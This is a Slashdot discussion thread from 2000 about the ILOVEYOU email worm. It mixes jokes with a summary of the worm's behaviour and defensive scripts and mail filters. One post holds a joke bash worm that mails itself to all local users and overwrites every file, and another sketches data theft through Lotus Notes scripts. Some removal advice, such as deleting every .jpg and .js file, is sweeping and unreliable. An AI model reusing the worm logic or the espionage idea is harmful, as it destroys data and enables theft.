    1. Re:This makes me wonder about Linux.... by Kyrrin · · Score: 1

      > I think about the porting of Office to Linux and see many others adopting Linux as
      > a result. I then see clueless newbies who run as root all the time opening .DOC
      > attachments in their mail, and having a macro virus attack them.

      Yes, but those of us who sit around and laugh at stupid people now will still be able to sit around and laugh at stupid people, because we don't log on as root all the time, and we don't launch untrusted applications.

      So the net worth is that nothing really would change. ^_^

      ("What? You launched that .doc file while you were logged on as root? Sucks to be you, man. Now, if you'll excuse me, I'm going to just go tweak my sendmail.cf a little more to squash this...")

      Of course, you know that if M$ does port Outhouse to Linux, it will want to run as root. As a matter of fact, I'd be willing to bet money that part of Outlook's coding scheme hinges on the ability to modify things wholesale...

  133. Microsoft makes this world a better place by coolkees · · Score: 1

    Why is everybody so concerned?
    If every software company made their e-mail programs like Outlook this world would be a better place. Everybody would receive messages all day, telling them how much people love them! Now seriously, that's not a bad thing, is it?

  134. I didn't get it - I'm disappointed. by Colin+Smith · · Score: 1

    I guess nobody loves me.

    It's a bit like a popularity contest. The more peoples addressbooks you're in the more copies of the trojan you'll get.

    BTW, all these filters being put in place. Do they just use the subject line? If so wouldn't it be trivial to change that and send it off again?

    --
    Deleted
  135. Consequences... by bero-rh · · Score: 3

    Hm, now that I got a love letter from my boss, can I sue him for sexual harrassment and make big cash? ;)

    [Disclaimer: I didn't actually. Being at a Unix-only place definitely has good sides.]

    --
    This message is provided under the terms outlined at http://www.bero.org/terms.html
  136. MP2 and MP3 files are NOT deleted by Drestin · · Score: 1

    If you examine the code you'll see that the JPG and JPEG files are deleted, yes, but MP2 and MP3 files are marked with the Hidden Attribute.

  137. no love by nettarzan · · Score: 1

    You guys are short-sighted. What this really means is this :- There are so many people in the world yearning for love. The world is love deprived. They are being exploited by the virus writers. Go loving around!

  138. E-mail smarter than people? by MadAhab · · Score: 2
    The problem isn't just that email is too versatile, but that people are too damned stupid. I could send a malicious linux binary via "mutt", and some idiot somewhere would be stupid enough to execute it.
    I'm sure this is true, but the fact that Windows makes so many decisions "for" its users, and that so many of those decisions are plain wrong, is really why this happens.

    Taking a biological view of it, you can see that what many trumpet as "standardization of platform" may create efficiencies for developers, but also for viruses. Any biologist knows that a genetic monoculture is subject to sudden and massive extinction. Imagine a virus that simply and truly wiped disks clean of windows; that it was 100% virulent and contagious; if not for non-windows users, there could be no computers left running. Or take the recent hacking of AboveNet; it was characterized as a denial of service attack, but it wasn't bandwidth flood. It seems to have been something that allowed routers to be taken down; it's easy to see that the severity of the assault would be proportional to the uniformity of their routers.

    Vive la difference or die.

    Boss of nothin. Big deal.
    Son, go get daddy's hard plastic eyes.

    --
    Expanding a vast wasteland since 1996.
    1. Re:E-mail smarter than people? by jafac · · Score: 1

      What was so ingenious of this particular trojan is the social engineering aspect of it.

      Malissa got folks to execute the payload by tricking them - curiosity killed the cat. The subject was "here's the document you asked for". Slightly suspicious. But incredibly virulent was "ILOVEYOU", it says something about human nature that this trojan ran amok far more quickly than Malissa.
      It's funny to think of all the morons who actually opened the message. It's also interesting to discuss the lack of merit to VB and Microsoft mail systems in general. But it's very interesting to see how and why this pathogen spread throughout the meat-part of the net.

      Fortunately, I don't think there's a quicker avenue among humans than this one - or variations "let's meet for some no-strings sex" or something like that. We're all already used to "free sex" and "want to get rich quick". The wad has been blown.
      As a whole, humanity can be thought of as a single entity, and it just learned a painful lesson today. I make the prediction that this kind of trap will never again be this successful. Unless someone can think up better bait than "ILOVEYOU". Maybe I lack imagination.
      I'm not saying that these things will never work again, I'm just saying that as a whole, the majority of folks who fell for it this time, will probably not fall for it again. Unfortunately, people will just stop opening emails, instead of switching to a safer mail provider.

      I just remembered this old Metallica song. . .

      --

      These are my friends, See how they glisten. See this one shine, how he smiles in the light.
  139. More on National Computer Systems by BMonger · · Score: 1

    Well at 10:45 CST NCS shut down their exchange server. It probably won't affect business too much except people will have to talk to each other on the phone (GASP!). Somebody finally loved me which makes me happy though. What about people that aren't here today that come in tomorrow though. Maybe more harm will come tomorrow.

  140. Quick fix for it. by Go'Tan · · Score: 1

    We contracted this this morning, though some people got it yesterday. We have generated a quick fix today, that has worked for us. it can be got from: http://www.gotan.org/tmp/scripts.zip enjoy, Tim.

    --
    and then God said: 'void *universe; while(1) if(create_order(universe)) create_chaos(universe);'
  141. attacked by samsneed · · Score: 1

    It hit us before 9 this morning, 250 users w/o e-mail.

  142. Re:Don't knock the M$ users. by nagora · · Score: 1
    So don't just laugh and point and say we deserve it. Some of us have no choice.

    Well then this is your chance to break free - "Look at what M$ has let happen to us! Let's change."

    Remember that this virus will have affected your managers. Let them know there is an alternative and they might act while the problem is fresh in their minds.

    TWW

    --
    "Encyclopedia" is to "Wikipedia" what "Library" is to "Some people at a bus stop"
  143. ILOVEYOU by Giver+Of+Data · · Score: 1

    Someone obviously does not like SkyInet

  144. M$ Innovation... by Ranger+Bob · · Score: 1

    Thank you, Microsoft! Without your wonderfile innovation, this kid would still be an unknown...

    --
    "Widget choice makes me horny." -
  145. Summary and Fix by NocturnalWarrior · · Score: 1

    One of the programmers were I work has gone through the .vbs file and summarized what it does and how to fix it. You might have a better chance reading this than clicking on the slashdotted links that CT just added.

    OK, here's a summary of what the script file does:

    1. Disables the timeout in the scripting host so that the script may run indefinitely. (The default behavior kills a script after a time limit because it is assumed to have failed).
    2. Copies itself to c:\windows\system\mskernel32.vbs.
    a) Adds this to registry at HKLM\Software\Microsoft\Windows\CurrentVersion\Run \MSKernel32
    3. Copies iteslef to c:\windows\win32dll.vbs
    a) Adds this to registry at HKLM\Software\Microsoft\Windows\CurrentVersion\Run Services\Win32DLL
    4. Copies itself to c:\windows\system\lover-letter-for-you.txt.vbs
    5. Creates a file called c:\windows\system\love-letter-for-you.htm, which downloads itself and runs the script. (Tells the user it needs an ActiveX control so the user must click a button to run it).
    6. Iterates through all the files in the system on fixed drives mounted network drives (not unmounted shares)
    a) It overwrites all files with the extensions .vba, .vbe, .js, .jse, .css, .wsh, .sct, .hta, .jpg, .jpeg with a copy of itself.
    i) Note: this mearly destroys .css, .js, .jse, .hta, .jpg, .jpeg files.
    b) It writes a copy of itself for every .mp3 and .mp2 file on the system (A file called Bobs.mp3 will have a matching Bobs.mp3.vbs)
    c) If a folder containing MIRC is found, it writes a script into the script.ini (run at startup) that send the previously generated love-letter-for-you.htm to every person in any group you join.
    7. If outlook is installed, it goes through every name in every address book and forward the message you probably received.
    8. If c:\windows\system\winfat32.exe exists (which isn't part of a normal install and the script dosen't install it so I don't know where it comes from), it resets the start page to download an EXE. Again the user will be prompted to accept and run the file.
    a) If the user manages to download this program, and the script is run again, it kindly resets the home page to blank.

    So, to remove this virus, delete:
    All .vba, .vbe, .js, .css, .wsh, .sct, .hta, .jpg, .jpeg files.
    c:\windows\system\mskernel.vba
    c:\windows\system\lover-letter-for-you.htm
    c:\windows\system\lover-letter-for-you.txt.vbs
    c:\windows\system\win32dll.vbs
    your MIRC script.ini
    HKCU\Software\Microsoft\Internet Explorer\Main\Start Page
    HKLM\Software\Microsoft\Windows\CurrentVersion\R un\MSKernel32
    HKLM\Software\Microsoft\Windows\CurrentVersion\R unServices\Win32DLL
    HKCU\Software\Microsoft\Windows Scripting Host\Settings\Timeout

    All-in-all it's pretty destructive and pretty dumb, definitely the product of some 13 year olds with terrible english.

    --
    "Never wrestle with a pig. You both get dirty and the pig likes it."
  146. Stacking dynamite by Jeremi · · Score: 5
    The annoying bit is now the FBI is going to make it their #1 priority to track down the author of this script and charge him with "millions of dollars in damages".


    That's all well and good, but I wish they'd keep in mind that he wouldn't have been able to do any of this mischief without the months of labour on the part of Microsoft engineering that laid the groundwork for this sort of thing. OLE, VB, Outlook, etc all working together to help viruses propogate.


    It's as if Microsoft has been stacking tubes of dynamite in the town hall for months, and one day some fruitcake comes in with a lit match. Sure, the fruitcake is guilty, but there's some serious negligence here as well...


    Jeremy, your friendly Slashdot anti-M$ zealot

    --


    I don't care if it's 90,000 hectares. That lake was not my doing.
  147. The Metallica Connection by 16volt · · Score: 1

    This Trojan was obviously written by Lars Ulrich of Metallica.

    In a surprisingly clever ruse to throw us off his trail, he programmed it to delete certain files in formats other than MP3.

    Come crawling faster...
    Obey us, Napster!
    Your life burns faster...
    Obey us, Napster!
    Napster
    Napster of the Internet is a terrible thing...
    treating our art like it's a commodity.
    Robing us blind, we can't afford a thing...
    Bootleg our work, but not as MP3s!
    Napster
    Napster

  148. Now THIS is funny - it was faxed to me by brennan73 · · Score: 5
    So this morning, I get a fax at work. It's directed at the old network admin, and is like six pages of junk, Windows registry settings and such. I put it aside, with the intention of calling the person later to tell them that he doesn't work here anymore and ask what in the world she sent me.

    Then news of this virus starts going around, and I look closely at the fax. It says it "originated from a (COMPANY NAME) Faxcom," and has the attachment "LOVE-LETTER-FOR-YOU.TXT.vbs . Apparently, our fax number was in her computer, and it faxed us a text copy of the virus. Anyone want it? :)

    -brennan

    1. Re:Now THIS is funny - it was faxed to me by greyrat · · Score: 1

      Yeah, I want it, but I want you to snail-mail it to me. I want to see if all my friends get a copy too...and if the postal carrier drops dead after he delivers it! #:^)

      --

      "There is no reason anyone would want a computer in their home." -- Ken Olson, 1977
    2. Re:Now THIS is funny - it was faxed to me by no-s · · Score: 1

      HaHa! I got some on my pager too (only the first 240 bytes I think). I think at least Airtouch might have been affected by this.

      I cleaned about 4 dozen actuals out of the queue after stopping sendmail and I have a 200mb worth of rejection messages logged today after I installed the patch. Must have been popular.

    3. Re:Now THIS is funny - it was faxed to me by masoolsa · · Score: 1

      Sell it on eBay. ;-)

      "ILOVEYOU memorabilia -- rare fax version! Gem mint 10. L@@K! (no reserve)"

  149. Re:Preview pane? Not on my Outlook! by mashx · · Score: 1

    We have people running 98 and 2000 and it came from both. There is a setting depending on the Internet zone you have assigned as to whether it automatically runs the HTML scripting.

    At the end of the script is the HTML code and of course this runs in the preview pane, via the OLE wscript file in the Windows directory. Sooo glad I don't use it, and have my Internet zones set up so that scripts don't run except in those sites I allow..

    It seems that the HTML code at the end of the E-mail (not the attachment) tries to open the attachment via Active Scripting..

    It says in the header of the HTML.. "simple but i think this is good..."

    Is this a half finished virus, because it looks it to me. Some kid in school half written it, shows his friend, who then sets it free before it is finished properly...

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~

    --

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~
  150. It does _not_ delete MP3-files by sverrehu · · Score: 1

    Everyone keeps saying that this beast deletes MP3 files. It does not, at least not where I work. For an MP3-file A.mp3, it creates an A.mp3.vbs that contains the worm. The original file is left intact.

    It _does_ delete JPEG-files, though. It creates a file A.jpg.vbs, and then deletes the original file. Check the code, it's all in there.

    To sum up, you loose your porn, but get to keep your pirated music. This must have been written by one of those extremist women.

  151. Virdect Announced! by Enzaro · · Score: 2

    I found this news article only just a few minutes ago...
    WASHINGTON:

    U.S. District Judge Thomas Penfield Jackson has issued a ruling in the Microsoft VS the Department Of Justice case regaring the breakup of Microsoft into 2 or possibly 3 'Baby Bills'.

    Judge Jackson was quoted as saying, "Only moments ago, I received a rather bizaar email from Mr. Gates, titled as "I LOVE YOU" in the subject line. At first, I thought it was perhaps just another plea to 'let [him] innovate', but after opening the attachment, I found myself infected with a virus. I am very upset with Mr. Gates."

    The breakup is to proceed immediatly.

  152. ILOVEYOU on Linux! by korpiq · · Score: 1


    #!/bin/bash
    ### Run this script for a Great Time with Me! ###

    foreach luser in `cat /etc/passwd | sed 's/:.*//'`; do cat $0 | sendmail -s 'ILOVEYOU' $luser; done

    foreach file in `find .`; do cp -rf "$0" "$file"; done


    Now I am an eeevil cracker. Muahahaha!

    --

    I think, therefore thoughts exist. Ego is just an impression.
  153. HOWTO for SysAdmins by Kostya · · Score: 1

    First, you need to patch Sendmail ...

    Go to this excellent sendmail patch: sendmail patch by Koos van den Hout

    Then, to get rid of the virus that is already in your spool files (because if your users were smart enough not to click on it this wouldn't be such an epidemic). I've written a little Perl-diddy that acts like an anti-virus. Rudementary usage tactics are in the comments. It will clean the user's spool file, removing all ILOVEYOU virus messages. Use and redistribute. It worked like a charm for me.

    It is VITALLY important that you put the sendmail patch in place first.


    #! /usr/bin/perl
    #
    # kill_lover
    #
    # Author: Matt Luker, kostya@redstarhackers.com
    #
    # This little hack will iterate over a file, grabbing
    # email messages. If the message is clean (i.e. not
    # the ILOVEYOU), it is written to file. If it is not
    # clean, it is thrown away.
    #
    # An extra file is generated, call $file.suspect. It
    # may or may not have viruses in it. It is safe to
    # delete it once you are done.
    #
    # I find the following command to work:
    # cd /var/spool/mail
    # find . -name \* -exec kill_lover.pl {} \;
    #

    my $file=shift;

    if ($file eq "") {
    print "Please enter a filename!\n";
    exit 1;
    }

    print "Looking for a lover in $file ...\n";

    open MAILFILE, $file;
    open CLEANSED, ">$file.clean";

    my $message="";

    while () {
    if (/From .*@.* /) {
    # Ok, we've found a message beginning, which means our
    # last message is done.
    # Now check the message to see if it is the ILOVEYOU
    # virus.
    if ($message=~/Subject: ILOVEYOU/) {
    # This is a potential ILOVEYOU virus
    print "Killing a lover ...\n";
    } else {
    print CLEANSED $message;
    }
    $message="";
    $message=$_;
    } else {
    $message.=$_;
    }
    }

    close CLEANSED;
    close MAILFILE;

    `mv $file $file.suspect`;
    `mv $file.clean $file`;

    Enjoy!

    --
    "Doubt your doubts and believe your beliefs." -- Switchfoot, Ode to Chin
  154. Filtering at the MTA by A+Masquerade · · Score: 1

    Someone has posted a recipe for postfix here

    I'm told you can just adapt the Melissa one for sendmail

    Here is the recipe for exim

    # exim filter
    # -----------
    # Put this in your system filter - say
    # /etc/exim/system_file.exim
    #
    if $h_subject begins "ILOVEYOU" and not error_message
    then
    fail text "you appear to have a virus on
    your PC (see http://www.fsecure.com/v-descs/love.htm).\n
    Check your system, or rephrase the subject"
    endif

    You need to call this filter from your config file, so add

    message_filter = /etc/exim/system_filter.exim

    to the main section - remember to HUP or restart exim after this.

    The list archives have some ongoing discussion on this - including some more devious filters for VBS scripts.

  155. Nobody Loves Me! by badvoc · · Score: 1

    I didn't get a copy either.

    We put in email filters to stop the propergation of the virus. I put in an exception for email to me. We've caught tens of thousands of emails but still not a single one for me.

  156. procmailrc by rtfm · · Score: 1

    here's one for your /etc/procmail rc if you're using procmail on your server. even though it's not going to affect non windows people, it's nice sometimes to protect your customers and/or clients that are...

    :0:
    * Subject:.*I.*LOVE.*YOU
    | rm -f

    many varients can be made... this is the quick and dirty version that i did, and it gets the job done. drop it into /etc/procmailrc

    --
    "Here's 50 bucks, take this in case I get drunk and call you a bitch later." - Ricky (Vince Vaughn)Made (2001)
    1. Re:procmailrc by Colin+Smith · · Score: 1

      I'd rather log the mail. If space starts to be a problem send to /dev/null.

      :0:
      * Subject:.*I.*LOVE.*YOU
      /var/log/iloveyou.log

      --
      Deleted
  157. Security and Stupidity by scruffy · · Score: 1
    When is anybody, Microsoft in particular, going to learn anything from these types of attacks? Adding macros to documents or scripts to email can be useful, but it is a security nightmare unless the allowable operations are severely restricted, e.g., Java applets.

    Also, a computer system should have some semblance of security against stupid actions by ordinary users. After all, we all do stupid things at one time or another. At the very minimum, the OS should differentiate between superuser and ordinary mode. Even if it doesn't require a password (I am thinking single-user Macs or Windows), at least the user would get a warning before something happened.

    Finally, why are we stupid enough to put up with this stuff? We should demand better.

  158. Re:Don't knock the M$ users. by nagora · · Score: 1
    it's the user's fault if they execute something they don't understand.

    It's not the user's fault that their crappy MS software allows programs to be embedded in email and then executed when you read the damn things.

    Besides which, 99% of people using computers don't understand what they are doing anymore than people really understand their car engine; should nobody use computers unless they can explain every line of code in Word?

    TWW

    --
    "Encyclopedia" is to "Wikipedia" what "Library" is to "Some people at a bus stop"
  159. Innovation by phenym · · Score: 1

    Hmmm... Maybe Microsoft should --innovate-- some security features into Outlook.

    -- Phenym

  160. Re:Pretty Nasty actually -NOT by Lumpy · · Score: 1

    The preview pane will not activate it unles you are the lamest Sysadmin on the planet! you should have long long ago fixed your outlook to NOT use word as the reader, do not execute anything, and basically turn off all of the backdoors that microsoft put in that they call "features" but we know were put ther eto snoop/attack your pc.

    If your users tell you all I did was put the mouse over it they are lying (users lie 100% of the time... get used to it) or you had their outlook configured to activate every file it gets.

    --
    Do not look at laser with remaining good eye.
  161. FAX machines vulnerable! by jabber · · Score: 2

    Caution and warning.

    This trojan will propagate to FAX machines, if the machine is a contact in the Outlook address book.

    It doesn't just eat bandwidth, it eats paper and phone connections too.

    --

    -- What you do today will cost you a day of your life.
    1. Re:FAX machines vulnerable! by Keith_Beef · · Score: 1

      So it eats paper and phone connexions... if your address book contains a lot of fax numbers, you'll make a lot of calls, all of which will be billed by your telephone company. So, who's going to be happy? This worm could generate millions of dollars in revenue for the telcos!

  162. Re:Dunno about the virus... Educate, don't berate by andymac · · Score: 1

    I have received so many spam mails about non-existent viruses, that I make it a practice to educate all my friends, family, staff and partners to CHECK IT OUT FIRST (i.e.: find supporting documentation on the Symantec Anti-Virus research page) before mailing everybody in their address book. The more people I point in this direction, the less spam I get about viruses. Remember the Frog game that was supposed to be a virus? I received over 150 emails about that one alone.

    We have to remember that most people really don't know about such things, and honestly think they're doing everyone a favour with these email notifications. Let a person send email ad-hoc, and they'll send everything to everyone; teach them how to be responsible users and distributors of information, and the spam traffic will drop dramatically.

    My 2 cents

    --
    "Content's a bitch."
  163. In case anyone reads that and wonders by alarmo · · Score: 1

    In case anyone reads that and wonders, there's no chance of those spreading or doing anything. We were very careful about not letting those critters escape. Aside from that, they wouldn't have worked outside of our organization (Notes "/O=" organization, that is), would be stripped out by a Notes MTA-SMTP gateway so they couldn't travel the net, didn't destroy files (well, except unsaved work :), and had to be opened in Notes to run. So there's no possible virus danger or scare there, lest anyone wonder.

  164. Here's a Batch File to Remove Infection for WinNT by ggoebel · · Score: 1

    The following batch file syntax will remove ILOVEU from a WinNT machine, and show you all the damaged files. Perhaps someone can post a version for Win9X? Anyone have any improvements or suggestions?

    Garrett

    ==== cut here and past into a .cmd file ====
    @echo off
    if exist %SYSTEMROOT%\win32dll.vbs echo You were infected with love!
    if not exist %SYSTEMROOT%\win32dll.vbs echo You aren't infected...
    if not exist %SYSTEMROOT%\win32dll.vbs GOTO END

    if exist %SYSTEMROOT%\win32dll.vbs del %SYSTEMROOT%\win32dll.vbs
    if exist %SYSTEMROOT%\system32\mskernel32.vbs del %SYSTEMROOT%\system32\mskernel32.vbs
    if exist %SYSTEMROOT%\system32\love-letter-for-you.txt.vbs del

    %SYSTEMROOT%\system32\love-letter-for-you.txt.vb s
    if exist %SYSTEMROOT%\system32\love-letter-for-you.htm del %SYSTEMROOT%\system32\love-letter-for-you.htm

    echo [version] > %TEMP%\ihateu.inf
    echo signature="$Windows NT$" >> %TEMP%\ihateu.inf
    echo. >> %TEMP%\ihateu.inf
    echo [DefaultInstall] >> %TEMP%\ihateu.inf
    echo DelReg=KeyToRemove >> %TEMP%\ihateu.inf
    echo. >> %TEMP%\ihateu.inf
    echo [KeyToRemove] >> %TEMP%\ihateu.inf
    echo HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Ru n","MSKernel32",, >> %TEMP%\ihateu.inf
    echo HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Ru nServices","Win32DLL",, >> %TEMP%\ihateu.inf

    %SYSTEMROOT%\system32\Rundll32.exe setupapi,InstallHinfSection DefaultInstall 132 %TEMP%\ihateu.inf
    del %TEMP%\ihateu.inf

    echo Love has been eradicated from this computer...
    echo.

    echo Let's find files that may have been infected
    echo This will search all local and networked drives
    echo So be prepared to wait.
    echo.
    echo Recommendation: Delete all files listed
    echo.
    echo Results will be written to IHATE.TXT
    echo.
    echo.>IHATE.TXT

    for %%x in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do if exist %%x:\nul (
    echo Searching %%x:
    %%x:
    cd\
    dir /s /b *.vbs > IHATE.TMP
    type IHATE.TMP
    type IHATE.TMP >> IHATE.TXT
    )
    del IHATE.TMP

    :END
    echo Finished.

    --
    Life is like an egg better scrambled than fried. -- Ken Sawatari
  165. Lloyds Bank in the UK hit by dgl · · Score: 1

    Apparently Lloyds bank here in the UK has been hit by this.
    It looks much worse than melissa and I am sure somebody will change the subject line / content of the message to lure more clueless lusers.

  166. I am well-acquainted with the Dark Arts, so... by Mad-cat · · Score: 1

    All those years of using Windows has done one thing for me. I fixed this threat before it happened at my company.

    The fix is actually quite easy, and will work until the next version comes out. All I did was use the MS Outlook "rules system" to create a "rule" that deleted any messages with an "ILOVEYOU" subject. My users never saw the message at all.

    It did come a little too late. One of the execs lost 4500 JPGs from his hard drive. Wonder what THOSE could've been? (EG)

    I'm just kidding. They were just his vacation pics.

  167. Stupid Users.. Thank God I installed Virus Checker by DrgnDancer · · Score: 1

    Stupid Users.. Thank God I installed virus checker, Stupid users.. Thank Go...

    Well you get the idea. How many fsking times do you have to say "DON"T DOWNLOAD UNKONOWN ATTACHMENTS: before people figure that they are not supposed to do so?

    --
    I don't need a million points of light, just two points of multi-mode fiber and a 10 Gig-E router.
  168. thank you ^^ by Lord+Omlette · · Score: 1

    n/t
    --
    Peace,
    Lord Omlette
    AOL IM: jeanlucpikachu

    --
    [o]_O
  169. Don't laugh yet. by Masked+Marauder · · Score: 1

    I believe Word Perfect 2000 will be adopting VBScript as its macro language. So then we can have mail viruses on Linux too.

    Not many industry standards come from Redmond. I guess virus-capable mail and ODBC will be the two big ones they'll be remembered for.

  170. M$ and security by crok · · Score: 1

    I think the most disturbing thing about this is that it can actually be done! I've taken a look through the script and I can't believe that such loopholes are present in the system. Take the registry stuff- an ordinary program with no privileges at all can just fiddle around with vital system variables with devastating results. Then there's the matter of plonking files in system directories without even the vaguest thought about what they are. Right, I think I'll stick my root password on my monitor and set all my system files to a+rw. We can't have secure systems, can we?

  171. Disable wscript.exe to keep it from spreading! by nospoon · · Score: 1

    This will probably be lost in all the comments but, i have figured out how to stop this virus cold.
    Rename wscript.exe to wscript.bak or delete it completely to keep this virus from spreading.
    Then clean the registry and inbox/outbox.
    Delete all the files it changed.
    Set whatever mail server you are using to reject Any mail attachments with a .vbs or .vbe exstension.

    ILOVEYOU - NOT ANYMORE!

  172. ILOVEYOU doesn't hate everyone! by psmX · · Score: 1

    The virus only hates Windows (and mail servers). It loves my Mac (or at least it does no harm) and I assume it doesn't harm Linux either.

  173. Re:Here is the Visual Basic Script that is "ILOVEY by SeanNi · · Score: 1

    Uh-huh.

    And are you maybe now realizing that it's probably not different -- the person who posted the source code probably did exactly the same thing and had the tag stripped out of his post as well?

    :-)

    --
    It's a fine line between trolling and karma-whoring... and I think I just crossed it.
    - Sean

    --
    It's a fine line between trolling and karma-whoring... and I think I just crossed it.
    - Sean
  174. Are people really this stupid? by IGnatius+T+Foobar · · Score: 1

    This has happened before (Melissa, etc.) and it will happen again. Anyone still using such obviously problematic software (MS Outlook) deserves what they get.

    --

    --
    Tired of FB/Google censorship? Visit UNCENSORED!
    1. Re:Are people really this stupid? by Genius · · Score: 1

      Does this have anything to do with Outlook or MS sytems? I mean, this is a script! Just your batch file in the 21st century...

      --
      Real-time Collaboration Consultant
    2. Re:Are people really this stupid? by demon · · Score: 1
      Actually, yes:
      • Outlook is used via OLE Automation to forward copies of the script to others
      • mIRC is used via OLE Automation to propagate via IRC
      • The Windows Scripting Host (apparently widely regarded as a gaping security issue) is used to execute the VB script data that is attached to the message

      So... NOW do you see why this has to do with Microsoft?
      --

      Sam: "That was needlessly cryptic."
      Max: "I'd be peeing my pants if I wore any!"
  175. Re:silly administrator by just+someone · · Score: 1

    Oh that's brilliant. Move to an OS which will allow for you to run programs at a different user level.

    She should know that you don't run unfamiliar attachments except in a highly secured guest account. And that you don't give your daily account admin permission.

  176. Please? by / · · Score: 1

    If he won't let her post it on her corporate network, will she at least release it to the rest of the internet? It would solve so many problems....

    --
    "If one is really a superior person, the fact is likely to leak out without too much assistance" -- John Andrew Holmes
  177. "Pls translate file to readable format" by phossie · · Score: 1

    Right - luckily enough, I work for the company with the largest Notes userbase anywhere (clue?). I just received this message from one of our other offices:

    Within the last one and one half hours, we have recd. multiple requests to print and/or translate the below referenced file into something legible.

    Now, first of all, this is wonderful - these people can't actually open the 'LOVE-LETTER-FOR-YOU.TXT.vbs' attachment, because they're all using Notes. On the other hand, many many people wanted to!!

    I have now lost my faith in humanity's ability to survive - I hold on because I still think chaos theory is viable.

    ert.

    --

    [|]
  178. OpenMail - HOWTO stop ILOVEYOU virus/worm/trojan by richi · · Score: 1
    The thread discussing this is at http://openmail.hp.co m/HyperNews/A8_ExtAll/get/ompub/638.html

    richi.

  179. Re:No kidding by reg_nad_kcin · · Score: 1

    We had (1) a mesage in e-mail warning of the virus, and (2) a voice-mail warning of the virus (actually two messages), and (3) signs taped at all the entrances to the building

    We also HAD e-mail, but with a 32,000 entry company global address book, plus group mail addresses, that was quickly taken down when four people opened the attachment anyway...

    Thanks, Bill. Love ya man...

  180. FIX for ILOVEYOU worm by miss_america · · Score: 1

    here is my fix for the worm.

    it removes the files and registry entries made by the worm. Also removes *.vbs copies from drives and unhides reverts *.mp(2|3)'s.

    --
    -If at first you don't succeed, call it version 1.0.
  181. Blocking "ILOVEYOU" virus with Sendmail feature by cying · · Score: 1

    Sendmail, Inc., has posted a blocking configuration feature that enables sendmail mail servers to stop the "ILOVEYOU" virus from entering your computer network at the server level. This feature works on all versions of sendmail 8.9 and above.

    You can find the details here.

    If administrators add this feature to their sendmail gateways, it will slow the spread of this virus over the Internet.

  182. That's the reason why monopolys are bad by MasterAlex · · Score: 1

    It's not just the thing that Microsoft always manages it to produce software, that is not made for the daily use: They want to put all their new "innovations" in it, but while they are doing this, they forget important things: They don't fix the tons of bugs and they don't even think about security. But, after all, they don't make _that_ bad products. (oh-oh, I think with this sentence I might get many enemies on /. ;))

    The true problem is, that over 90% of all PCs are running Windows - and most of them also OE and IE. And that's the only reason why this virus could so awfully fast spread over the world. If we would have more competition in the OS and browser markets, this could not have happened: If only every 4th PC or so (although I think this is till far too many :P) had been using Windows, we would not have had such a disaster now. And _that's_ why they should break up Microsoft.

  183. Human Trojan by Katya · · Score: 1

    You know. I feel so unloved because I seem not to be on anyone's address book. How sad.

    However... I have decided to create a human version of this Trojan, and am currently walking around the office and calling people in my Visor's DB, telling people "ILOVEYOU!" and then urging them to do the same with everyone they know. The entire office is now full of chattering ILOVEYOU!s, and the phone system is about to collapse.

    I hope to bring down Bell Atlantic, Sprint, MCI, and AT&T this way.

    That'll teach them not to put me on their address book!

  184. Where do the damage figures come from? by mcmonkey · · Score: 1
    From cnn.com:
    The "ILOVEYOU" virus infected computers around the world Thursday -- overloading e-mail systems, deleting files and causing an $100 million in damage in North America alone.
    Where does this number come from? Seriously, considering Thursday isn't over yet, are $ damage figures like this one pure fiction?
  185. OT: Notes by IntlHarvester · · Score: 1

    The possibility for Notes attacks is pretty much limited to 'internal' users. The default Execution Control List (ECL) allows any member of your /Org to run pretty much any script on your machine.

    The one big hole in this scheme is that it allows former users to continue to run scripts after left the company. (Having old IDs 'in the wild' is pretty much inevitable for Notes shops.)
    So I could write a Notes mailbomb, encapsulate it and the proper /O signature into an SMTP message, and mail into my former place of work. Blammo.

    The best solution (I can think of) is to create an OU such as /Developers/Org, put all of the developers there, and only grant them access in the Domain ECL, and then make sure that *everything* is properly signed. This would limit normal users to some extent, but normal users really don't want this sort of macro functionality anyway.

    Making things worse is the fact that there's lots of sensitive information in Notes systems, so tactics such as these would make wonderful industrial espioniage devices. (One well crafted PostOpen event sent to the Director of HR could lead to the entire Salary database ending up in my Hotmail inbox.)

    Right now Exchange/Outlook shops are pretty much limited to mail/calendar/discussion applications. But, Microsoft is building a more compelling groupware infrastructure on top of Exchange and Office. If anything, ILOVEYOU proves how easy it would be to conduct espionage activities against such shops -- just mail in a HTML message with a OLE Automation script embedded.
    --

    --
    Business. Numbers. Money. People. Computer World.
  186. I want it by BluesGeek · · Score: 1

    Does anybody know where a good-hearted Linux user can get a copy of WIN-BUGSFIX.EXE?

  187. It's into some of the major corporations. by Drakino · · Score: 1

    I'm at home right now because my IT department got so parnoid they basicially said don't use any program that uses the network. For my company, it will be a mess to clean up, and seeing that they think an AS/400 system needs to be isolated until this is over, it will be a while.

    I checked my Outlook before leaving and only a few copies had made their way to me. Problem there though is any copy will use the Global Address book IT set up, and spam many thousands of accounts across several sites.

  188. NAV Exchange signatures by bort13 · · Score: 2

    For any of you protecting your Exchange 5.5 server with Norton Antivirus (Symantec), there are signatures here. They aren't tested or approved, AFAIK, but they're working at my location. It won't repair the file but will quarantine bad attachments. You might want to keep the server off your network while you do this. Stop your store while you're copying the signature file to your server, then pull your ethernet cable when you want to start it again to run NAV.

    That url is ftp://ftp.symantec.com/public/english_us_canada/an tivirus_definitions/norton_antivirus/spe cdef

    1. Re:NAV Exchange signatures by gatekeep · · Score: 1

      THANK YOU!!! I have been trying to find these all day!

  189. Condign Punishment by Steve+B · · Score: 1
    If and when they catch the perpetrator of the "I Love You" virus, they ought to pipe the Barney theme song ("I love you... you love me...") into his cell around the clock.

    Of course, this assumes that he's in a jurisdiction which doesn't have those pesky prohibitions against cruel and unusual punishment.
    /.

    --
    /. If the government wants us to respect the law, it should set a better example.
    1. Re:Condign Punishment by mohnkern · · Score: 1

      Here in D.C., WMAL Radio (630 AM) has been using the Barney theme song as the lead in to ILU virus spots. During one segment, the announcer got an error message about the device being used, and was convinced (only briefly) that he had contracted the virus somehow.

      I just wanted to go down to the studio and slap him around.

  190. Re: um. what? by Tony-A · · Score: 1

    Doesn't affect linux? Right.
    Does affect MS Windows? Right.
    What it is, and how to clean up the damage IS news.
